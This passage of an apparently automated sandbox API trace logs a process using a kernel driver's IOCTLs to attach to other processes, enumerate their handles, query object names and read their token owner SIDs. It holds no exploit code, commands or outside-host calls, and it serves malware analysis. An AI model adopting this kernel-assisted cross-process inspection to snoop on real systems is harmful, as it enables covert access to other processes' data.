ReturnLength=0xfffff88005233508) returned 0x0 [0095.693] ObfDereferenceObject (Object=0xfffffa8003518f20) returned 0x1 [0095.693] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.693] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.693] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.693] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0095.693] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.693] PsAcquireProcessExitSynchronization () returned 0x0 [0095.693] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880052335d0) [0095.693] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0095.693] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.693] PsReleaseProcessExitSynchronization () returned 0x2 [0095.693] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0095.693] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8002013044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002013044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.693] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0095.694] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.694] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.694] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.694] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0095.694] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.694] PsAcquireProcessExitSynchronization () returned 0x0 [0095.694] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880052335d0) [0095.694] ObReferenceObjectByHandle (in: Handle=0xd8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa8003544310, HandleInformation=0x0) returned 0x0 [0095.694] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.694] PsReleaseProcessExitSynchronization () returned 0x2 [0095.694] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0095.694] ObQueryNameString (in: Object=0xfffffa8003544310, ObjectNameInfo=0xfffffa8001ff1044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001ff1044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.694] ObfDereferenceObject (Object=0xfffffa8003544310) returned 0x1 [0095.694] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.694] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.694] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.694] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0095.694] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.694] PsAcquireProcessExitSynchronization () returned 0x0 [0095.694] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880052335d0) [0095.694] ObReferenceObjectByHandle (in: Handle=0xe4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0095.694] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.694] PsReleaseProcessExitSynchronization () returned 0x2 [0095.694] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0095.694] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8002047044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8002047044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.694] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x2b [0095.694] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.694] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.694] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.694] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0095.694] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.694] PsAcquireProcessExitSynchronization () returned 0x0 [0095.694] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880052335d0) [0095.694] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0095.694] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.695] PsReleaseProcessExitSynchronization () returned 0x2 [0095.695] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0095.695] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa8001a27044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001a27044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.695] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0xc [0095.695] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.695] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.695] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9ac) returned 0xc0 [0095.695] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.695] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80022bf060, HandleInformation=0x0) returned 0x0 [0095.695] ObOpenObjectByPointer (in: Object=0xfffffa80022bf060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff800004f8) returned 0x0 [0095.695] ObfDereferenceObject (Object=0xfffffa80022bf060) returned 0xf [0095.695] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800004f8, DesiredAccess=0x8, TokenHandle=0xfffffa800247c980 | out: TokenHandle=0xfffffa800247c980*=0xc8) returned 0x0 [0095.695] ZwClose (Handle=0xffffffff800004f8) returned 0x0 [0095.695] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.695] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.695] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.696] CloseHandle (hObject=0xc8) returned 1 [0095.696] CloseHandle (hObject=0xc0) returned 1 [0095.697] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.697] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0095.697] PsLookupProcessByProcessId (in: ProcessId=0x9ac, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.697] PsAcquireProcessExitSynchronization () returned 0x0 [0095.697] KeStackAttachProcess (in: PROCESS=0xfffffa80022bf060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80022bf060, ApcState=0xfffff880052335d0) [0095.697] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80022be3b0, HandleInformation=0x0) returned 0x0 [0095.697] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.697] PsReleaseProcessExitSynchronization () returned 0x2 [0095.697] ObfDereferenceObject (Object=0xfffffa80022bf060) returned 0xd [0095.697] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002057044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8002057044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.697] ObfDereferenceObject (Object=0xfffffa80022be3b0) returned 0x1 [0095.697] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.697] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.697] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.697] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0095.697] PsLookupProcessByProcessId (in: ProcessId=0x9ac, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.697] PsAcquireProcessExitSynchronization () returned 0x0 [0095.697] KeStackAttachProcess (in: PROCESS=0xfffffa80022bf060, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80022bf060, ApcState=0xfffff880052335d0) [0095.697] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80024df5d0, HandleInformation=0x0) returned 0x0 [0095.697] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.697] PsReleaseProcessExitSynchronization () returned 0x2 [0095.697] ObfDereferenceObject (Object=0xfffffa80022bf060) returned 0xd [0095.697] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ed1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ed1044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.697] ObfDereferenceObject (Object=0xfffffa80024df5d0) returned 0x1 [0095.697] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.697] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.697] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x9fc) returned 0xc0 [0095.697] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0095.697] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005233668, HandleInformation=0x0 | out: Object=0xfffff88005233668*=0xfffffa80024ed7d0, HandleInformation=0x0) returned 0x0 [0095.697] ObOpenObjectByPointer (in: Object=0xfffffa80024ed7d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005233670 | out: Handle=0xfffff88005233670*=0xffffffff800004f8) returned 0x0 [0095.698] ObfDereferenceObject (Object=0xfffffa80024ed7d0) returned 0x20 [0095.698] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800004f8, DesiredAccess=0x8, TokenHandle=0xfffffa800247c980 | out: TokenHandle=0xfffffa800247c980*=0xc8) returned 0x0 [0095.698] ZwClose (Handle=0xffffffff800004f8) returned 0x0 [0095.698] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.698] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0095.698] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0095.699] CloseHandle (hObject=0xc8) returned 1 [0095.699] CloseHandle (hObject=0xc0) returned 1 [0095.699] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.699] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0095.699] PsLookupProcessByProcessId (in: ProcessId=0x9fc, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.699] PsAcquireProcessExitSynchronization () returned 0x0 [0095.699] KeStackAttachProcess (in: PROCESS=0xfffffa80024ed7d0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80024ed7d0, ApcState=0xfffff880052335d0) [0095.699] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80024f1f20, HandleInformation=0x0) returned 0x0 [0095.699] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.699] PsReleaseProcessExitSynchronization () returned 0x2 [0095.700] ObfDereferenceObject (Object=0xfffffa80024ed7d0) returned 0x1e [0095.700] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001f8a044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001f8a044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.700] ObfDereferenceObject (Object=0xfffffa80024f1f20) returned 0x1 [0095.700] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.700] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.700] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.700] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0095.700] PsLookupProcessByProcessId (in: ProcessId=0x9fc, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.700] PsAcquireProcessExitSynchronization () returned 0x0 [0095.700] KeStackAttachProcess (in: PROCESS=0xfffffa80024ed7d0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80024ed7d0, ApcState=0xfffff880052335d0) [0095.700] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa800249e740, HandleInformation=0x0) returned 0x0 [0095.700] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.700] PsReleaseProcessExitSynchronization () returned 0x2 [0095.700] ObfDereferenceObject (Object=0xfffffa80024ed7d0) returned 0x1e [0095.700] ObQueryNameString (in: Object=0xfffffa800249e740, ObjectNameInfo=0xfffffa8001942044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001942044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.700] ObfDereferenceObject (Object=0xfffffa800249e740) returned 0x1 [0095.700] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.700] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.700] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.700] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.700] PsLookupProcessByProcessId (in: ProcessId=0x9fc, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.700] PsAcquireProcessExitSynchronization () returned 0x0 [0095.700] KeStackAttachProcess (in: PROCESS=0xfffffa80024ed7d0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80024ed7d0, ApcState=0xfffff880052335d0) [0095.700] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0095.700] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.700] PsReleaseProcessExitSynchronization () returned 0x2 [0095.700] ObfDereferenceObject (Object=0xfffffa80024ed7d0) returned 0x1e [0095.700] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001edd044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001edd044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.700] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x50 [0095.700] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.700] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.700] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.700] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0095.701] PsLookupProcessByProcessId (in: ProcessId=0x9fc, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.701] PsAcquireProcessExitSynchronization () returned 0x0 [0095.701] KeStackAttachProcess (in: PROCESS=0xfffffa80024ed7d0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80024ed7d0, ApcState=0xfffff880052335d0) [0095.701] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80025b7070, HandleInformation=0x0) returned 0x0 [0095.701] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.701] PsReleaseProcessExitSynchronization () returned 0x2 [0095.701] ObfDereferenceObject (Object=0xfffffa80024ed7d0) returned 0x1e [0095.701] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ee1044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001ee1044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.701] ObfDereferenceObject (Object=0xfffffa80025b7070) returned 0x1 [0095.701] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.701] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.701] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.701] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0095.701] PsLookupProcessByProcessId (in: ProcessId=0x9fc, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.701] PsAcquireProcessExitSynchronization () returned 0x0 [0095.701] KeStackAttachProcess (in: PROCESS=0xfffffa80024ed7d0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80024ed7d0, ApcState=0xfffff880052335d0) [0095.701] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a00256f870, HandleInformation=0x0) returned 0x0 [0095.701] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.701] PsReleaseProcessExitSynchronization () returned 0x2 [0095.701] ObfDereferenceObject (Object=0xfffffa80024ed7d0) returned 0x1e [0095.701] ObQueryNameString (in: Object=0xfffff8a00256f870, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005233550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005233550) returned 0x0 [0095.701] ObfDereferenceObject (Object=0xfffff8a00256f870) returned 0x1 [0095.701] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.701] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.701] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.701] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0095.701] PsLookupProcessByProcessId (in: ProcessId=0x9fc, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.701] PsAcquireProcessExitSynchronization () returned 0x0 [0095.701] KeStackAttachProcess (in: PROCESS=0xfffffa80024ed7d0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80024ed7d0, ApcState=0xfffff880052335d0) [0095.701] ObReferenceObjectByHandle (in: Handle=0xac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffffa80025b7c80, HandleInformation=0x0) returned 0x0 [0095.701] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.701] PsReleaseProcessExitSynchronization () returned 0x2 [0095.701] ObfDereferenceObject (Object=0xfffffa80024ed7d0) returned 0x1e [0095.702] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005233508 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005233508) returned 0x0 [0095.702] ObfDereferenceObject (Object=0xfffffa80025b7c80) returned 0x1 [0095.702] IofCompleteRequest (Irp=0xfffffa80018f9170, PriorityBoost=0) [0095.702] HeapFree (in: hHeap=0x210000, dwFlags=0x0, lpMem=0x250b20 | out: hHeap=0x210000) returned 1 [0095.702] RtlAllocateHeap (HeapHandle=0x210000, Flags=0x0, Size=0x808) returned 0x250b20 [0095.702] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x250b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x250b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0095.702] PsLookupProcessByProcessId (in: ProcessId=0x9fc, Process=0xfffff88005233558 | out: Process=0xfffff88005233558) returned 0x0 [0095.702] PsAcquireProcessExitSynchronization () returned 0x0 [0095.702] KeStackAttachProcess (in: PROCESS=0xfffffa80024ed7d0, ApcState=0xfffff880052335d0 | out: PROCESS=0xfffffa80024ed7d0, ApcState=0xfffff880052335d0) [0095.702] ObReferenceObjectByHandle (in: Handle=0xc4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038c9001, Object=0xfffff88005233548, HandleInformation=0x0 | out: Object=0xfffff88005233548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0095.702] KeUnstackDetachProcess (ApcState=0xfffff880052335d0) [0095.702] PsReleaseProcessExitSynchronization () returned 0x2 [0095.702] ObfDereferenceObject (Object=0xfffffa80024ed7d0) returned 0x1e [0095.702] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa8001fb0044, 